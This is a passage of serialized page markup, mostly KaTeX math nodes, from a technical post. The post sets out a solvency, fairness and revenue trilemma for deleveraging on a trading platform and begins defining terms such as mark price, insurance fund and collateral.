Trilemma",{"type":25,"tag":26,"props":173277,"children":173278},{},[173279,173281,173287],{"type":30,"value":173280},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":25,"tag":83,"props":173282,"children":173284},{"href":172639,"rel":173283},[9066],[173285],{"type":30,"value":173286},"the paper mentioned before",{"type":30,"value":173288},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":25,"tag":108,"props":173290,"children":173291},{},[173292,173302,173312],{"type":25,"tag":112,"props":173293,"children":173294},{},[173295,173300],{"type":25,"tag":10281,"props":173296,"children":173297},{},[173298],{"type":30,"value":173299},"Solvency",{"type":30,"value":173301},": can the platform pay every trader out?",{"type":25,"tag":112,"props":173303,"children":173304},{},[173305,173310],{"type":25,"tag":10281,"props":173306,"children":173307},{},[173308],{"type":30,"value":173309},"Fairness",{"type":30,"value":173311},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":25,"tag":112,"props":173313,"children":173314},{},[173315,173320],{"type":25,"tag":10281,"props":173316,"children":173317},{},[173318],{"type":30,"value":173319},"Revenue",{"type":30,"value":173321},": the fraction of total winner PNL that survives after deleveraging.",{"type":25,"tag":26,"props":173323,"children":173324},{},[173325],{"type":30,"value":173326},"Let's borrow these definitions from the paper:",{"type":25,"tag":7764,"props":173328,"children":173329},{},[173330],{"type":25,"tag":264,"props":173331,"children":173333},{"className":173332},[267,171514],[173334],{"type":25,"tag":271,"props":173335,"children":173337},{"className":173336},[171519],[173338],{"type":25,"tag":271,"props":173339,"children":173341},{"className":173340},[274],[173342],{"type":25,"tag":271,"props":173343,"children":173345},{"className":173344,"ariaHidden":280},[279],[173346],{"type":25,"tag":271,"props":173347,"children":173349},{"className":173348},[285],[173350,173355],{"type":25,"tag":271,"props":173351,"children":173354},{"className":173352,"style":173353},[290],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":25,"tag":271,"props":173356,"children":173358},{"className":173357},[296],[173359],{"type":25,"tag":271,"props":173360,"children":173362},{"className":173361},[172216],[173363,174182],{"type":25,"tag":271,"props":173364,"children":173366},{"className":173365},[172221],[173367],{"type":25,"tag":271,"props":173368,"children":173370},{"className":173369},[987,1100],[173371,174170],{"type":25,"tag":271,"props":173372,"children":173374},{"className":173373},[992],[173375,174165],{"type":25,"tag":271,"props":173376,"children":173379},{"className":173377,"style":173378},[997],"height:11.8392em;",[173380,173451,173468,173537,173607,173676,173746,173815,173884,173953,174023,174094],{"type":25,"tag":271,"props":173381,"children":173383},{"style":173382},"top:-14.3707em;",[173384,173389],{"type":25,"tag":271,"props":173385,"children":173388},{"className":173386,"style":173387},[1007],"height:3.3714em;",[],{"type":25,"tag":271,"props":173390,"children":173392},{"className":173391},[296],[173393],{"type":25,"tag":271,"props":173394,"children":173396},{"className":173395},[296],[173397,173402],{"type":25,"tag":271,"props":173398,"children":173400},{"className":173399,"style":298},[296,297],[173401],{"type":30,"value":400},{"type":25,"tag":271,"props":173403,"children":173405},{"className":173404},[982],[173406],{"type":25,"tag":271,"props":173407,"children":173409},{"className":173408},[987,1100],[173410,173440],{"type":25,"tag":271,"props":173411,"children":173413},{"className":173412},[992],[173414,173435],{"type":25,"tag":271,"props":173415,"children":173417},{"className":173416,"style":1742},[997],[173418],{"type":25,"tag":271,"props":173419,"children":173421},{"style":173420},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[173422,173426],{"type":25,"tag":271,"props":173423,"children":173425},{"className":173424,"style":1008},[1007],[],{"type":25,"tag":271,"props":173427,"children":173429},{"className":173428},[1013,1014,1015,1016],[173430],{"type":25,"tag":271,"props":173431,"children":173433},{"className":173432},[296,297,1016],[173434],{"type":30,"value":1023},{"type":25,"tag":271,"props":173436,"children":173438},{"className":173437},[1177],[173439],{"type":30,"value":1180},{"type":25,"tag":271,"props":173441,"children":173443},{"className":173442},[992],[173444],{"type":25,"tag":271,"props":173445,"children":173447},{"className":173446,"style":1619},[997],[173448],{"type":25,"tag":271,"props":173449,"children":173450},{},[],{"type":25,"tag":271,"props":173452,"children":173454},{"style":173453},"top:-12.8707em;",[173455,173459],{"type":25,"tag":271,"props":173456,"children":173458},{"className":173457,"style":173387},[1007],[],{"type":25,"tag":271,"props":173460,"children":173462},{"className":173461},[296],[173463],{"type":25,"tag":271,"props":173464,"children":173466},{"className":173465,"style":416},[296,297],[173467],{"type":30,"value":108197},{"type":25,"tag":271,"props":173469,"children":173471},{"style":173470},"top:-10.8392em;",[173472,173476],{"type":25,"tag":271,"props":173473,"children":173475},{"className":173474,"style":173387},[1007],[],{"type":25,"tag":271,"props":173477,"children":173479},{"className":173478},[296],[173480],{"type":25,"tag":271,"props":173481,"children":173483},{"className":173482},[296],[173484,173489],{"type":25,"tag":271,"props":173485,"children":173487},{"className":173486},[296,297],[173488],{"type":30,"value":13243},{"type":25,"tag":271,"props":173490,"children":173492},{"className":173491},[982],[173493],{"type":25,"tag":271,"props":173494,"children":173496},{"className":173495},[987,1100],[173497,173526],{"type":25,"tag":271,"props":173498,"children":173500},{"className":173499},[992],[173501,173521],{"type":25,"tag":271,"props":173502,"children":173504},{"className":173503,"style":1918},[997],[173505],{"type":25,"tag":271,"props":173506,"children":173507},{"style":1592},[173508,173512],{"type":25,"tag":271,"props":173509,"children":173511},{"className":173510,"style":1008},[1007],[],{"type":25,"tag":271,"props":173513,"children":173515},{"className":173514},[1013,1014,1015,1016],[173516],{"type":25,"tag":271,"props":173517,"children":173519},{"className":173518},[296,297,1016],[173520],{"type":30,"value":1937},{"type":25,"tag":271,"props":173522,"children":173524},{"className":173523},[1177],[173525],{"type":30,"value":1180},{"type":25,"tag":271,"props":173527,"children":173529},{"className":173528},[992],[173530],{"type":25,"tag":271,"props":173531,"children":173533},{"className":173532,"style":1619},[997],[173534],{"type":25,"tag":271,"props":173535,"children":173536},{},[],{"type":25,"tag":271,"props":173538,"children":173540},{"style":173539},"top:-8.8188em;",[173541,173545],{"type":25,"tag":271,"props":173542,"children":173544},{"className":173543,"style":173387},[1007],[],{"type":25,"tag":271,"props":173546,"children":173548},{"className":173547},[296],[173549],{"type":25,"tag":271,"props":173550,"children":173552},{"className":173551},[296],[173553,173559],{"type":25,"tag":271,"props":173554,"children":173556},{"className":173555,"style":1555},[296,297],[173557],{"type":30,"value":173558},"π",{"type":25,"tag":271,"props":173560,"children":173562},{"className":173561},[982],[173563],{"type":25,"tag":271,"props":173564,"children":173566},{"className":173565},[987,1100],[173567,173596],{"type":25,"tag":271,"props":173568,"children":173570},{"className":173569},[992],[173571,173591],{"type":25,"tag":271,"props":173572,"children":173574},{"className":173573,"style":1918},[997],[173575],{"type":25,"tag":271,"props":173576,"children":173577},{"style":1922},[173578,173582],{"type":25,"tag":271,"props":173579,"children":173581},{"className":173580,"style":1008},[1007],[],{"type":25,"tag":271,"props":173583,"children":173585},{"className":173584},[1013,1014,1015,1016],[173586],{"type":25,"tag":271,"props":173587,"children":173589},{"className":173588},[296,297,1016],[173590],{"type":30,"value":1937},{"type":25,"tag":271,"props":173592,"children":173594},{"className":173593},[1177],[173595],{"type":30,"value":1180},{"type":25,"tag":271,"props":173597,"children":173599},{"className":173598},[992],[173600],{"type":25,"tag":271,"props":173601,"children":173603},{"className":173602,"style":1619},[997],[173604],{"type":25,"tag":271,"props":173605,"children":173606},{},[],{"type":25,"tag":271,"props":173608,"children":173610},{"style":173609},"top:-7.3188em;",[173611,173615],{"type":25,"tag":271,"props":173612,"children":173614},{"className":173613,"style":173387},[1007],[],{"type":25,"tag":271,"props":173616,"children":173618},{"className":173617},[296],[173619],{"type":25,"tag":271,"props":173620,"children":173622},{"className":173621},[296],[173623,173628],{"type":25,"tag":271,"props":173624,"children":173626},{"className":173625},[296,297],[173627],{"type":30,"value":64570},{"type":25,"tag":271,"props":173629,"children":173631},{"className":173630},[982],[173632],{"type":25,"tag":271,"props":173633,"children":173635},{"className":173634},[987,1100],[173636,173665],{"type":25,"tag":271,"props":173637,"children":173639},{"className":173638},[992],[173640,173660],{"type":25,"tag":271,"props":173641,"children":173643},{"className":173642,"style":1918},[997],[173644],{"type":25,"tag":271,"props":173645,"children":173646},{"style":1592},[173647,173651],{"type":25,"tag":271,"props":173648,"children":173650},{"className":173649,"style":1008},[1007],[],{"type":25,"tag":271,"props":173652,"children":173654},{"className":173653},[1013,1014,1015,1016],[173655],{"type":25,"tag":271,"props":173656,"children":173658},{"className":173657},[296,297,1016],[173659],{"type":30,"value":1937},{"type":25,"tag":271,"props":173661,"children":173663},{"className":173662},[1177],[173664],{"type":30,"value":1180},{"type":25,"tag":271,"props":173666,"children":173668},{"className":173667},[992],[173669],{"type":25,"tag":271,"props":173670,"children":173672},{"className":173671,"style":1619},[997],[173673],{"type":25,"tag":271,"props":173674,"children":173675},{},[],{"type":25,"tag":271,"props":173677,"children":173679},{"style":173678},"top:-5.8188em;",[173680,173684],{"type":25,"tag":271,"props":173681,"children":173683},{"className":173682,"style":173387},[1007],[],{"type":25,"tag":271,"props":173685,"children":173687},{"className":173686},[296],[173688],{"type":25,"tag":271,"props":173689,"children":173691},{"className":173690},[296],[173692,173697],{"type":25,"tag":271,"props":173693,"children":173695},{"className":173694,"style":14678},[296,297],[173696],{"type":30,"value":11188},{"type":25,"tag":271,"props":173698,"children":173700},{"className":173699},[982],[173701],{"type":25,"tag":271,"props":173702,"children":173704},{"className":173703},[987,1100],[173705,173735],{"type":25,"tag":271,"props":173706,"children":173708},{"className":173707},[992],[173709,173730],{"type":25,"tag":271,"props":173710,"children":173712},{"className":173711,"style":1918},[997],[173713],{"type":25,"tag":271,"props":173714,"children":173716},{"style":173715},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[173717,173721],{"type":25,"tag":271,"props":173718,"children":173720},{"className":173719,"style":1008},[1007],[],{"type":25,"tag":271,"props":173722,"children":173724},{"className":173723},[1013,1014,1015,1016],[173725],{"type":25,"tag":271,"props":173726,"children":173728},{"className":173727},[296,297,1016],[173729],{"type":30,"value":1937},{"type":25,"tag":271,"props":173731,"children":173733},{"className":173732},[1177],[173734],{"type":30,"value":1180},{"type":25,"tag":271,"props":173736,"children":173738},{"className":173737},[992],[173739],{"type":25,"tag":271,"props":173740,"children":173742},{"className":173741,"style":1619},[997],[173743],{"type":25,"tag":271,"props":173744,"children":173745},{},[],{"type":25,"tag":271,"props":173747,"children":173749},{"style":173748},"top:-4.3188em;",[173750,173754],{"type":25,"tag":271,"props":173751,"children":173753},{"className":173752,"style":173387},[1007],[],{"type":25,"tag":271,"props":173755,"children":173757},{"className":173756},[296],[173758],{"type":25,"tag":271,"props":173759,"children":173761},{"className":173760},[296],[173762,173767],{"type":25,"tag":271,"props":173763,"children":173765},{"className":173764},[296,297],[173766],{"type":30,"value":1136},{"type":25,"tag":271,"props":173768,"children":173770},{"className":173769},[982],[173771],{"type":25,"tag":271,"props":173772,"children":173774},{"className":173773},[987,1100],[173775,173804],{"type":25,"tag":271,"props":173776,"children":173778},{"className":173777},[992],[173779,173799],{"type":25,"tag":271,"props":173780,"children":173782},{"className":173781,"style":1918},[997],[173783],{"type":25,"tag":271,"props":173784,"children":173785},{"style":1592},[173786,173790],{"type":25,"tag":271,"props":173787,"children":173789},{"className":173788,"style":1008},[1007],[],{"type":25,"tag":271,"props":173791,"children":173793},{"className":173792},[1013,1014,1015,1016],[173794],{"type":25,"tag":271,"props":173795,"children":173797},{"className":173796},[296,297,1016],[173798],{"type":30,"value":1937},{"type":25,"tag":271,"props":173800,"children":173802},{"className":173801},[1177],[173803],{"type":30,"value":1180},{"type":25,"tag":271,"props":173805,"children":173807},{"className":173806},[992],[173808],{"type":25,"tag":271,"props":173809,"children":173811},{"className":173810,"style":1619},[997],[173812],{"type":25,"tag":271,"props":173813,"children":173814},{},[],{"type":25,"tag":271,"props":173816,"children":173818},{"style":173817},"top:-2.5512em;",[173819,173823],{"type":25,"tag":271,"props":173820,"children":173822},{"className":173821,"style":173387},[1007],[],{"type":25,"tag":271,"props":173824,"children":173826},{"className":173825},[296],[173827],{"type":25,"tag":271,"props":173828,"children":173830},{"className":173829},[296],[173831,173836],{"type":25,"tag":271,"props":173832,"children":173834},{"className":173833},[296,297],[173835],{"type":30,"value":97458},{"type":25,"tag":271,"props":173837,"children":173839},{"className":173838},[982],[173840],{"type":25,"tag":271,"props":173841,"children":173843},{"className":173842},[987,1100],[173844,173873],{"type":25,"tag":271,"props":173845,"children":173847},{"className":173846},[992],[173848,173868],{"type":25,"tag":271,"props":173849,"children":173851},{"className":173850,"style":1918},[997],[173852],{"type":25,"tag":271,"props":173853,"children":173854},{"style":1592},[173855,173859],{"type":25,"tag":271,"props":173856,"children":173858},{"className":173857,"style":1008},[1007],[],{"type":25,"tag":271,"props":173860,"children":173862},{"className":173861},[1013,1014,1015,1016],[173863],{"type":25,"tag":271,"props":173864,"children":173866},{"className":173865},[296,297,1016],[173867],{"type":30,"value":1937},{"type":25,"tag":271,"props":173869,"children":173871},{"className":173870},[1177],[173872],{"type":30,"value":1180},{"type":25,"tag":271,"props":173874,"children":173876},{"className":173875},[992],[173877],{"type":25,"tag":271,"props":173878,"children":173880},{"className":173879,"style":1619},[997],[173881],{"type":25,"tag":271,"props":173882,"children":173883},{},[],{"type":25,"tag":271,"props":173885,"children":173887},{"style":173886},"top:-0.3652em;",[173888,173892],{"type":25,"tag":271,"props":173889,"children":173891},{"className":173890,"style":173387},[1007],[],{"type":25,"tag":271,"props":173893,"children":173895},{"className":173894},[296],[173896],{"type":25,"tag":271,"props":173897,"children":173899},{"className":173898},[296],[173900,173905],{"type":25,"tag":271,"props":173901,"children":173903},{"className":173902,"style":1052},[296,297],[173904],{"type":30,"value":1055},{"type":25,"tag":271,"props":173906,"children":173908},{"className":173907},[982],[173909],{"type":25,"tag":271,"props":173910,"children":173912},{"className":173911},[987,1100],[173913,173942],{"type":25,"tag":271,"props":173914,"children":173916},{"className":173915},[992],[173917,173937],{"type":25,"tag":271,"props":173918,"children":173920},{"className":173919,"style":155042},[997],[173921],{"type":25,"tag":271,"props":173922,"children":173923},{"style":2750},[173924,173928],{"type":25,"tag":271,"props":173925,"children":173927},{"className":173926,"style":1008},[1007],[],{"type":25,"tag":271,"props":173929,"children":173931},{"className":173930},[1013,1014,1015,1016],[173932],{"type":25,"tag":271,"props":173933,"children":173935},{"className":173934,"style":298},[296,297,1016],[173936],{"type":30,"value":301},{"type":25,"tag":271,"props":173938,"children":173940},{"className":173939},[1177],[173941],{"type":30,"value":1180},{"type":25,"tag":271,"props":173943,"children":173945},{"className":173944},[992],[173946],{"type":25,"tag":271,"props":173947,"children":173949},{"className":173948,"style":1619},[997],[173950],{"type":25,"tag":271,"props":173951,"children":173952},{},[],{"type":25,"tag":271,"props":173954,"children":173956},{"style":173955},"top:2.2624em;",[173957,173961],{"type":25,"tag":271,"props":173958,"children":173960},{"className":173959,"style":173387},[1007],[],{"type":25,"tag":271,"props":173962,"children":173964},{"className":173963},[296],[173965],{"type":25,"tag":271,"props":173966,"children":173968},{"className":173967},[296],[173969,173975],{"type":25,"tag":271,"props":173970,"children":173972},{"className":173971,"style":2296},[296,297],[173973],{"type":30,"value":173974},"D",{"type":25,"tag":271,"props":173976,"children":173978},{"className":173977},[982],[173979],{"type":25,"tag":271,"props":173980,"children":173982},{"className":173981},[987,1100],[173983,174012],{"type":25,"tag":271,"props":173984,"children":173986},{"className":173985},[992],[173987,174007],{"type":25,"tag":271,"props":173988,"children":173990},{"className":173989,"style":155042},[997],[173991],{"type":25,"tag":271,"props":173992,"children":173993},{"style":2318},[173994,173998],{"type":25,"tag":271,"props":173995,"children":173997},{"className":173996,"style":1008},[1007],[],{"type":25,"tag":271,"props":173999,"children":174001},{"className":174000},[1013,1014,1015,1016],[174002],{"type":25,"tag":271,"props":174003,"children":174005},{"className":174004,"style":298},[296,297,1016],[174006],{"type":30,"value":301},{"type":25,"tag":271,"props":174008,"children":174010},{"className":174009},[1177],[174011],{"type":30,"value":1180},{"type":25,"tag":271,"props":174013,"children":174015},{"className":174014},[992],[174016],{"type":25,"tag":271,"props":174017,"children":174019},{"className":174018,"style":1619},[997],[174020],{"type":25,"tag":271,"props":174021,"children":174022},{},[],{"type":25,"tag":271,"props":174024,"children":174026},{"style":174025},"top:4.8901em;",[174027,174031],{"type":25,"tag":271,"props":174028,"children":174030},{"className":174029,"style":173387},[1007],[],{"type":25,"tag":271,"props":174032,"children":174034},{"className":174033},[296],[174035],{"type":25,"tag":271,"props":174036,"children":174038},{"className":174037},[296],[174039,174045],{"type":25,"tag":271,"props":174040,"children":174042},{"className":174041,"style":108152},[296,297],[174043],{"type":30,"value":174044},"U",{"type":25,"tag":271,"props":174046,"children":174048},{"className":174047},[982],[174049],{"type":25,"tag":271,"props":174050,"children":174052},{"className":174051},[987,1100],[174053,174083],{"type":25,"tag":271,"props":174054,"children":174056},{"className":174055},[992],[174057,174078],{"type":25,"tag":271,"props":174058,"children":174060},{"className":174059,"style":155042},[997],[174061],{"type":25,"tag":271,"props":174062,"children":174064},{"style":174063},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[174065,174069],{"type":25,"tag":271,"props":174066,"children":174068},{"className":174067,"style":1008},[1007],[],{"type":25,"tag":271,"props":174070,"children":174072},{"className":174071},[1013,1014,1015,1016],[174073],{"type":25,"tag":271,"props":174074,"children":174076},{"className":174075,"style":298},[296,297,1016],[174077],{"type":30,"value":301},{"type":25,"tag":271,"props":174079,"children":174081},{"className":174080},[1177],[174082],{"type":30,"value":1180},{"type":25,"tag":271,"props":174084,"children":174086},{"className":174085},[992],[174087],{"type":25,"tag":271,"props":174088,"children":174090},{"className":174089,"style":1619},[997],[174091],{"type":25,"tag":271,"props":174092,"children":174093},{},[],{"type":25,"tag":271,"props":174095,"children":174097},{"style":174096},"top:7.3078em;",[174098,174102],{"type":25,"tag":271,"props":174099,"children":174101},{"className":174100,"style":173387},[1007],[],{"type":25,"tag":271,"props":174103,"children":174105},{"className":174104},[296],[174106],{"type":25,"tag":271,"props":174107,"children":174109},{"className":174108},[296],[174110,174115],{"type":25,"tag":271,"props":174111,"children":174113},{"className":174112,"style":15175},[296,297],[174114],{"type":30,"value":15178},{"type":25,"tag":271,"props":174116,"children":174118},{"className":174117},[982],[174119],{"type":25,"tag":271,"props":174120,"children":174122},{"className":174121},[987,1100],[174123,174154],{"type":25,"tag":271,"props":174124,"children":174126},{"className":174125},[992],[174127,174149],{"type":25,"tag":271,"props":174128,"children":174131},{"className":174129,"style":174130},[997],"height:0.2806em;",[174132],{"type":25,"tag":271,"props":174133,"children":174135},{"style":174134},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[174136,174140],{"type":25,"tag":271,"props":174137,"children":174139},{"className":174138,"style":1008},[1007],[],{"type":25,"tag":271,"props":174141,"children":174143},{"className":174142},[1013,1014,1015,1016],[174144],{"type":25,"tag":271,"props":174145,"children":174147},{"className":174146},[296,297,1016],[174148],{"type":30,"value":6292},{"type":25,"tag":271,"props":174150,"children":174152},{"className":174151},[1177],[174153],{"type":30,"value":1180},{"type":25,"tag":271,"props":174155,"children":174157},{"className":174156},[992],[174158],{"type":25,"tag":271,"props":174159,"children":174161},{"className":174160,"style":1619},[997],[174162],{"type":25,"tag":271,"props":174163,"children":174164},{},[],{"type":25,"tag":271,"props":174166,"children":174168},{"className":174167},[1177],[174169],{"type":30,"value":1180},{"type":25,"tag":271,"props":174171,"children":174173},{"className":174172},[992],[174174],{"type":25,"tag":271,"props":174175,"children":174178},{"className":174176,"style":174177},[997],"height:11.3392em;",[174179],{"type":25,"tag":271,"props":174180,"children":174181},{},[],{"type":25,"tag":271,"props":174183,"children":174185},{"className":174184},[172301],[174186],{"type":25,"tag":271,"props":174187,"children":174189},{"className":174188},[987,1100],[174190,175892],{"type":25,"tag":271,"props":174191,"children":174193},{"className":174192},[992],[174194,175887],{"type":25,"tag":271,"props":174195,"children":174197},{"className":174196,"style":173378},[997],[174198,174236,174274,174421,174656,174811,174916,174959,175180,175339,175529,175681],{"type":25,"tag":271,"props":174199,"children":174200},{"style":173382},[174201,174205],{"type":25,"tag":271,"props":174202,"children":174204},{"className":174203,"style":173387},[1007],[],{"type":25,"tag":271,"props":174206,"children":174208},{"className":174207},[296],[174209,174213,174217,174222,174226],{"type":25,"tag":271,"props":174210,"children":174212},{"className":174211},[296],[],{"type":25,"tag":271,"props":174214,"children":174216},{"className":174215,"style":338},[337],[],{"type":25,"tag":271,"props":174218,"children":174220},{"className":174219},[356],[174221],{"type":30,"value":34723},{"type":25,"tag":271,"props":174223,"children":174225},{"className":174224,"style":338},[337],[],{"type":25,"tag":271,"props":174227,"children":174229},{"className":174228},[296,30],[174230],{"type":25,"tag":271,"props":174231,"children":174233},{"className":174232},[296],[174234],{"type":30,"value":174235},"mark price",{"type":25,"tag":271,"props":174237,"children":174238},{"style":173453},[174239,174243],{"type":25,"tag":271,"props":174240,"children":174242},{"className":174241,"style":173387},[1007],[],{"type":25,"tag":271,"props":174244,"children":174246},{"className":174245},[296],[174247,174251,174255,174260,174264],{"type":25,"tag":271,"props":174248,"children":174250},{"className":174249},[296],[],{"type":25,"tag":271,"props":174252,"children":174254},{"className":174253,"style":338},[337],[],{"type":25,"tag":271,"props":174256,"children":174258},{"className":174257},[356],[174259],{"type":30,"value":34723},{"type":25,"tag":271,"props":174261,"children":174263},{"className":174262,"style":338},[337],[],{"type":25,"tag":271,"props":174265,"children":174267},{"className":174266},[296,30],[174268],{"type":25,"tag":271,"props":174269,"children":174271},{"className":174270},[296],[174272],{"type":30,"value":174273},"insurance fund",{"type":25,"tag":271,"props":174275,"children":174276},{"style":173470},[174277,174281],{"type":25,"tag":271,"props":174278,"children":174280},{"className":174279,"style":173387},[1007],[],{"type":25,"tag":271,"props":174282,"children":174284},{"className":174283},[296],[174285,174289,174293,174298,174302,174312,174316,174321,174325],{"type":25,"tag":271,"props":174286,"children":174288},{"className":174287},[296],[],{"type":25,"tag":271,"props":174290,"children":174292},{"className":174291,"style":338},[337],[],{"type":25,"tag":271,"props":174294,"children":174296},{"className":174295},[356],[174297],{"type":30,"value":34723},{"type":25,"tag":271,"props":174299,"children":174301},{"className":174300,"style":338},[337],[],{"type":25,"tag":271,"props":174303,"children":174305},{"className":174304},[296,30],[174306],{"type":25,"tag":271,"props":174307,"children":174309},{"className":174308},[296],[174310],{"type":30,"value":174311},"collateral",{"type":25,"tag":271,"props":174313,"children":174315},{"className":174314,"style":338},[337],[],{"type":25,"tag":271,"props":174317,"children":174319},{"className":174318},[356],[174320],{"type":30,"value":1065},{"type":25,"tag":271,"props":174322,"children":174324},{"className":174323,"style":338},[337],[],{"type":25,"tag":271,"props":174326,"children":174328},{"className":174327},[296],[174329,174333,174417],{"type":25,"tag":271,"props":174330,"children":174332},{"className":174331},[391,5850],[],{"type":25,"tag":271,"props":174334,"children":174336},{"className":174335},[5855],[174337],{"type":25,"tag":271,"props":174338,"children":174340},{"className":174339},[987,1100],[174341,174406],{"type":25,"tag":271,"props":174342,"children":174344},{"className":174343},[992],[174345,174401],{"type":25,"tag":271,"props":174346,"children":174349},{"className":174347,"style":174348},[997],"height:1.3714em;",[174350,174370,174381],{"type":25,"tag":271,"props":174351,"children":174352},{"style":171596},[174353,174357],{"type":25,"tag":271,"props":174354,"children":174356},{"className":174355,"style":4495},[1007],[],{"type":25,"tag":271,"props":174358,"children":174360},{"className":174359},[296],[174361],{"type":25,"tag":271,"props":174362,"children":174364},{"className":174363},[296,30],[174365],{"type":25,"tag":271,"props":174366,"children":174368},{"className":174367},[296],[174369],{"type":30,"value":171633},{"type":25,"tag":271,"props":174371,"children":174372},{"style":5905},[174373,174377],{"type":25,"tag":271,"props":174374,"children":174376},{"className":174375,"style":4495},[1007],[],{"type":25,"tag":271,"props":174378,"children":174380},{"className":174379,"style":5915},[5914],[],{"type":25,"tag":271,"props":174382,"children":174383},{"style":171647},[174384,174388],{"type":25,"tag":271,"props":174385,"children":174387},{"className":174386,"style":4495},[1007],[],{"type":25,"tag":271,"props":174389,"children":174391},{"className":174390},[296],[174392],{"type":25,"tag":271,"props":174393,"children":174395},{"className":174394},[296,30],[174396],{"type":25,"tag":271,"props":174397,"children":174399},{"className":174398},[296],[174400],{"type":30,"value":171672},{"type":25,"tag":271,"props":174402,"children":174404},{"className":174403},[1177],[174405],{"type":30,"value":1180},{"type":25,"tag":271,"props":174407,"children":174409},{"className":174408},[992],[174410],{"type":25,"tag":271,"props":174411,"children":174413},{"className":174412,"style":171690},[997],[174414],{"type":25,"tag":271,"props":174415,"children":174416},{},[],{"type":25,"tag":271,"props":174418,"children":174420},{"className":174419},[437,5850],[],{"type":25,"tag":271,"props":174422,"children":174423},{"style":173539},[174424,174428],{"type":25,"tag":271,"props":174425,"children":174427},{"className":174426,"style":173387},[1007],[],{"type":25,"tag":271,"props":174429,"children":174431},{"className":174430},[296],[174432,174436,174440,174445,174449,174506,174510,174515,174519,174524,174581,174585,174590,174594,174651],{"type":25,"tag":271,"props":174433,"children":174435},{"className":174434},[296],[],{"type":25,"tag":271,"props":174437,"children":174439},{"className":174438,"style":338},[337],[],{"type":25,"tag":271,"props":174441,"children":174443},{"className":174442},[356],[174444],{"type":30,"value":1065},{"type":25,"tag":271,"props":174446,"children":174448},{"className":174447,"style":338},[337],[],{"type":25,"tag":271,"props":174450,"children":174452},{"className":174451},[296],[174453,174458],{"type":25,"tag":271,"props":174454,"children":174456},{"className":174455},[296,297],[174457],{"type":30,"value":23776},{"type":25,"tag":271,"props":174459,"children":174461},{"className":174460},[982],[174462],{"type":25,"tag":271,"props":174463,"children":174465},{"className":174464},[987,1100],[174466,174495],{"type":25,"tag":271,"props":174467,"children":174469},{"className":174468},[992],[174470,174490],{"type":25,"tag":271,"props":174471,"children":174473},{"className":174472,"style":1918},[997],[174474],{"type":25,"tag":271,"props":174475,"children":174476},{"style":1592},[174477,174481],{"type":25,"tag":271,"props":174478,"children":174480},{"className":174479,"style":1008},[1007],[],{"type":25,"tag":271,"props":174482,"children":174484},{"className":174483},[1013,1014,1015,1016],[174485],{"type":25,"tag":271,"props":174486,"children":174488},{"className":174487},[296,297,1016],[174489],{"type":30,"value":1937},{"type":25,"tag":271,"props":174491,"children":174493},{"className":174492},[1177],[174494],{"type":30,"value":1180},{"type":25,"tag":271,"props":174496,"children":174498},{"className":174497},[992],[174499],{"type":25,"tag":271,"props":174500,"children":174502},{"className":174501,"style":1619},[997],[174503],{"type":25,"tag":271,"props":174504,"children":174505},{},[],{"type":25,"tag":271,"props":174507,"children":174509},{"className":174508,"style":2066},[337],[],{"type":25,"tag":271,"props":174511,"children":174513},{"className":174512},[2071],[174514],{"type":30,"value":3585},{"type":25,"tag":271,"props":174516,"children":174518},{"className":174517,"style":2066},[337],[],{"type":25,"tag":271,"props":174520,"children":174522},{"className":174521},[391],[174523],{"type":30,"value":394},{"type":25,"tag":271,"props":174525,"children":174527},{"className":174526},[296],[174528,174533],{"type":25,"tag":271,"props":174529,"children":174531},{"className":174530,"style":298},[296,297],[174532],{"type":30,"value":400},{"type":25,"tag":271,"props":174534,"children":174536},{"className":174535},[982],[174537],{"type":25,"tag":271,"props":174538,"children":174540},{"className":174539},[987,1100],[174541,174570],{"type":25,"tag":271,"props":174542,"children":174544},{"className":174543},[992],[174545,174565],{"type":25,"tag":271,"props":174546,"children":174548},{"className":174547,"style":1742},[997],[174549],{"type":25,"tag":271,"props":174550,"children":174551},{"style":173420},[174552,174556],{"type":25,"tag":271,"props":174553,"children":174555},{"className":174554,"style":1008},[1007],[],{"type":25,"tag":271,"props":174557,"children":174559},{"className":174558},[1013,1014,1015,1016],[174560],{"type":25,"tag":271,"props":174561,"children":174563},{"className":174562},[296,297,1016],[174564],{"type":30,"value":1023},{"type":25,"tag":271,"props":174566,"children":174568},{"className":174567},[1177],[174569],{"type":30,"value":1180},{"type":25,"tag":271,"props":174571,"children":174573},{"className":174572},[992],[174574],{"type":25,"tag":271,"props":174575,"children":174577},{"className":174576,"style":1619},[997],[174578],{"type":25,"tag":271,"props":174579,"children":174580},{},[],{"type":25,"tag":271,"props":174582,"children":174584},{"className":174583,"style":2066},[337],[],{"type":25,"tag":271,"props":174586,"children":174588},{"className":174587},[2071],[174589],{"type":30,"value":2774},{"type":25,"tag":271,"props":174591,"children":174593},{"className":174592,"style":2066},[337],[],{"type":25,"tag":271,"props":174595,"children":174597},{"className":174596},[296],[174598,174603],{"type":25,"tag":271,"props":174599,"children":174601},{"className":174600},[296,297],[174602],{"type":30,"value":26},{"type":25,"tag":271,"props":174604,"children":174606},{"className":174605},[982],[174607],{"type":25,"tag":271,"props":174608,"children":174610},{"className":174609},[987,1100],[174611,174640],{"type":25,"tag":271,"props":174612,"children":174614},{"className":174613},[992],[174615,174635],{"type":25,"tag":271,"props":174616,"children":174618},{"className":174617,"style":1918},[997],[174619],{"type":25,"tag":271,"props":174620,"children":174621},{"style":1592},[174622,174626],{"type":25,"tag":271,"props":174623,"children":174625},{"className":174624,"style":1008},[1007],[],{"type":25,"tag":271,"props":174627,"children":174629},{"className":174628},[1013,1014,1015,1016],[174630],{"type":25,"tag":271,"props":174631,"children":174633},{"className":174632},[296,297,1016],[174634],{"type":30,"value":1937},{"type":25,"tag":271,"props":174636,"children":174638},{"className":174637},[1177],[174639],{"type":30,"value":1180},{"type":25,"tag":271,"props":174641,"children":174643},{"className":174642},[992],[174644],{"type":25,"tag":271,"props":174645,"children":174647},{"className":174646,"style":1619},[997],[174648],{"type":25,"tag":271,"props":174649,"children":174650},{},[],{"type":25,"tag":271,"props":174652,"children":174654},{"className":174653},[437],[174655],{"type":30,"value":440},{"type":25,"tag":271,"props":174657,"children":174658},{"style":173609},[174659,174663],{"type":25,"tag":271,"props":174660,"children":174662},{"className":174661,"style":173387},